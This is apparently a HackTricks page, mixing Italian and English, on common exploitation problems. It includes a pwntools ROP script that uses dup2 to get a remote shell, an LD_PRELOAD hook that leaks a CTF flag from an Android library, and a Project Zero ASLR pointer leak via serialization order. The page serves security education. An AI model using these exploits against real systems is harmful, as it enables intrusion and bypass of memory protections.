Common Exploiting Problems
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
FDs in Remote Exploitation
Quando si invia un exploit a un server remoto che chiama, ad esempio, system('/bin/sh'), questo verrà eseguito nel processo del server, ovviamente, e /bin/sh si aspetterà l’input da stdin (FD: 0) e stamperà l’output su stdout e stderr (FDs 1 e 2). Quindi l’attaccante non potrà interagire con la shell.
Un modo per risolvere questo è supporre che quando il server è stato avviato abbia creato il FD number 3 (per l’ascolto) e che la tua connessione sia nel FD number 4. Pertanto è possibile usare la syscall dup2 per duplicare stdin (FD 0) e stdout (FD 1) sul FD 4 (quello della connessione dell’attaccante), rendendo così possibile contattare la shell una volta che viene eseguita.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Nota che socat già trasferisce stdin e stdout al socket. Tuttavia, la modalità pty include i caratteri DELETE. Quindi, se invii un \x7f (DELETE) cancellerà il carattere precedente del tuo exploit.
Per bypassare questo, il carattere di escape \x16 deve essere anteposto a ogni \x7f inviato.
Here you can find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
When an Android app ships only a stripped AArch64 .so, you can still fuzz exported logic directly on-device without rebuilding the APK. A practical workflow:
- Individua i punti di ingresso invocabili.
objdump -T libvalidate.so | grep -E "validate"elenca rapidamente le funzioni esportate. I decompiler (Ghidra, IDA, BN) rivelano la firma reale, es.int validate(const uint8_t *buf, uint64_t len). - Scrivi un harness standalone. Carica un file, mantieni il buffer vivo e chiama il simbolo esportato esattamente come farebbe l’app. Cross-compila con l’NDK (es.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal file-driven harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Ricostruisci la struttura prevista.** Le stringhe di errore e i confronti in Ghidra hanno mostrato che la funzione analizzava JSON rigoroso con chiavi costanti (`magic`, `version`, nested `root.children.*`) e controlli aritmetici (es., `value * 2 == 84` ⇒ `value` deve essere `42`). Fornire JSON sintatticamente valido che soddisfi progressivamente ogni ramo permette di mappare lo schema senza strumentazione.
4. **Bypassa l'anti-debug per leak secrets.** Poiché il file `.so` importa `snprintf`, sovrascrivilo con `LD_PRELOAD` per dump sensitive format strings anche quando i breakpoints sono bloccati:
<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates the internal flag and confirms the crash oracle without patching the binary.
5. Riduci lo fuzz space. Il disassemblaggio ha rivelato una XOR key riutilizzata nella comparazione del flag, il che significa che i primi sette byte di flag erano noti. Fuzz solo i nove byte sconosciuti.
6. Incorpora i fuzz bytes all’interno di un envelope JSON valido. Il harness AFL legge esattamente nove byte da stdin, li copia nel suffisso del flag e hard-codifica ogni altro campo (constants, tree depths, arithmetic preimage). Qualsiasi lettura malformata esce semplicemente, quindi AFL spende cicli su testcase significativi:
Minimal AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** Any input that satisfies every semantic check and guesses the correct nine-byte suffix triggers the deliberate crash; those files land in `output/crashes` and can be replayed through the simple harness to recover the secret.
This workflow lets you triage anti-debug-protected JNI validators quickly, leak secrets when needed, then fuzz only the meaningful bytes, all without touching the original APK.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
I formati camera maligni spesso includono il proprio bytecode (opcode lists, map tables, tone curves). Quando un decoder privilegiato non effettua bound-check sui metadata-derived dimensions o sugli indici dei plane, quegli opcode diventano primitive di lettura/scrittura controllate dall'attaccante che possono groomare la heap, pivotare puntatori o persino leakare ASLR. Samsung's in-the-wild Quram exploit è un esempio recente di concatenamento di un bug `DeltaPerColumn` sui bounds, heap spraying via skipped opcodes, vtable remapping e una JOP chain verso `system()`.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### Requirements & attack surface
- A service accepts attacker-controlled property lists (XML or binary) and calls `NSKeyedUnarchiver.unarchivedObjectOfClasses` with a permissive allowlist (e.g., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- The resulting objects are reused and later serialized again with `NSKeyedArchiver` (or iterated in deterministic bucket order) and sent back to the attacker.
- Some key type in the containers uses pointer values as its hash code. Before March 2025, `CFNull`/`NSNull` fell back to `CFHash(object) == (uintptr_t)object`, and deserialization always returned the shared-cache singleton `kCFNull`, giving a stable kernel-shared pointer without memory corruption or timing.
### Controllable hashing primitives
- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` lacks a hash callback, so `CFBasicHash` uses the object address as the hash. Because the singleton lives at a fixed shared-cache address until reboot, its hash is stable across processes.
- **Attacker-controlled hashes:** 32-bit `NSNumber` keys are hashed through `_CFHashInt`, which is deterministic and attacker-controllable. Picking specific integers lets the attacker choose `hash(number) % num_buckets` for any table size.
- **`NSDictionary` implementation:** Immutable dictionaries embed a `CFBasicHash` with a prime bucket count chosen from `__CFBasicHashTableSizes` (e.g., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Collisions are handled with linear probing (`__kCFBasicHashLinearHashingValue`), and serialization walks buckets in numeric order; therefore, the order of serialized keys encodes the bucket index that each key finally occupied.
### Encoding bucket indices into serialization order
Craftando un plist che materializzi un dizionario i cui bucket alternano tra slot occupati e vuoti, l'attaccante vincola dove il linear probing può collocare `NSNull`. Per un esempio a 7 bucket, riempire i bucket pari con chiavi `NSNumber` produce:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
Durante la deserialization la vittima inserisce la singola chiave NSNull. Il suo bucket iniziale è hash(NSNull) % 7, ma il probing avanza fino a colpire uno degli indici aperti {1,3,5}. L’ordine delle chiavi serialized rivela quale slot è stato usato, rivelando se il pointer hash modulo 7 ricade in {6,0,1}, {2,3} o {4,5}. Poiché l’attaccante controlla l’ordine serialized originale, la chiave NSNull viene emessa per ultima nell’input plist, quindi l’ordinamento post-reserialization è unicamente funzione della posizione del bucket.
Risoluzione dei residui esatti con tabelle complementari
Un singolo dictionary solo leaks una gamma di residui. Per determinare il valore preciso di hash(NSNull) % p, costruire due dizionari per ogni prime bucket size p: uno con i bucket pari pre-fillati e uno con i bucket dispari pre-fillati. Per il pattern complementare (_ # _ # _ # _), gli slot vuoti (0,2,4,6) mappano ai set di residui {0}, {1,2}, {3,4}, {5,6}. Osservare la posizione serialized di NSNull in entrambi i dizionari restringe il residuo a un unico valore perché l’intersezione dei due set candidati restituisce un r_i unico per quel p.
L’attaccante raggruppa tutti i dizionari in un NSArray, quindi un singolo round trip deserialize → serialize leaks residues per ogni chosen table size.
Ricostruzione del puntatore shared-cache a 64 bit
Per ogni primo p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, l’attaccante recupera hash(NSNull) ≡ r_i (mod p_i) dall’ordinamento serialized. Applicando il Teorema cinese dei resti (CRT) con l’algoritmo euclideo esteso si ottiene:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
quindi il residuo combinato corrisponde in modo univoco al puntatore a 64 bit di kCFNull. Il Project Zero PoC combina iterativamente le congruenze stampando moduli intermedi per mostrare la convergenza verso il vero indirizzo (0x00000001eb91ab60 sulla build vulnerabile).
Flusso di lavoro pratico
- Generate crafted input: Build the attacker-side XML plist (two dictionaries per prime,
NSNullserialized last) and convert it to binary format.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: Il servizio victim deserializza con
NSKeyedUnarchiver.unarchivedObjectOfClassesusando il set di classi consentite{NSDictionary, NSArray, NSNumber, NSString, NSNull}e riesegue immediatamente la serializzazione conNSKeyedArchiver. - Residue extraction: La conversione del plist restituito in XML rivela l’ordinamento delle chiavi del dizionario. Un helper come
extract-pointer.clegge la object table, determina l’indice del singletonNSNull, mappa ogni coppia di dizionari al corrispondente residuo del bucket e risolve il sistema CRT per recuperare il puntatore della shared-cache. - Verification (optional): Compilare un piccolo helper Objective-C che stampa
CFHash(kCFNull)conferma che il leaked value corrisponde al reale indirizzo.
Non è necessario alcun bug di memory safety — osservare semplicemente l’ordine di serializzazione delle pointer-keyed structures fornisce una primitive remota per bypassare ASLR.
Pagine correlate
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
Riferimenti
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


